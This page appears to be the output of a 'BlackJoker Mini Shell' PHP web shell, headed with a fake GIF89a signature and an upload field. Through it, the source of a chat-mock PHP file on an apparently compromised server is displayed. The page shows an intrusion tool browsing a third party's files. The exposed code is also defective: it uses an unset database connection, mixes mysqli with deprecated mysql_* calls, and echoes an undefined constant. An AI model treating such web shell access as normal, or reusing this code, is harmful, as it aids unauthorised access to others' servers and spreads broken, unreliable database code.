GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/fbChatSource/core/
Upload File :
Current File : /home/serb/www/fbChatSource/core/FbChatMock.php

<?php


  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 


/**
 * Description of FbChatMock
 *
 * @author Tamil
 */
class FbChatMock {

  // Holds the database connection
  //private $dbConnection;
  
  //----- Database connection details --/
  //-- Change these to your database values
  
  /*private $_dbHost = 'localhost';
  
  private $_dbUsername = 'root';
  
  private $_dbPassword = '';
  
  public $_databaseName = 'escortservices';*/
  
  //----- ----/

  /**
   * Create's the connection to the database and stores it in the dbConnection
   */
  /*public function __construct() {
    $this->dbConnection = new mysqli($this->_dbHost, $this->_dbUsername, 
        $this->_dbPassword, $this->_databaseName);

    if ($this->dbConnection->connect_error) {
      die('Connection error.');
    }
  }*/

  /**
   * Get the list of messages from the chat
   * 
   * @return array
   */
  public function getMessages() {
    $messages = array();
    $query = "SELECT 
          `chat`.`message`, 
          `chat`.`sent_on`,
          `users`.`id`, 
          `users`.`username`
        FROM `users`
        JOIN `chat`
          ON `chat`.`user_id` = `users`.`id`
        ORDER BY `sent_on`";
    
    // Execute the query
    $resultObj =execute_query($query);
    // Fetch all the rows at once.
    while ($row = mysql_fetch_array($resultObj)) {
      $messages[] = $row;
    }
    
    return $messages;
  }

  /**
   * Add a new message to the chat table
   * 
   * @param Integer $userId The user who sent the message
   * @param String $message The Actual message
   * @return bool|Integer The last inserted id of success and false on faileur
   */
  public function addMessage($userId, $message) {
    $addResult = false;
    
    $cUserId = (int) $userId;
    // Escape the message with mysqli real escape
    $cMessage = $this->dbConnection->real_escape_string($message);
    
    $query = "INSERT INTO `chat`(`user_id`, `message`, `sent_on`)
      VALUES ({$cUserId}, '{$cMessage}', UNIX_TIMESTAMP())";

    $result =execute_query($query);
    
    if ($result !== false) {
      // Get the last inserted row id.
      $addResult = mysql_insert_id();
    } else {
      echo error;
    }
    
    return $addResult;
  }

}

./BlackJoker Mini Shell 1.0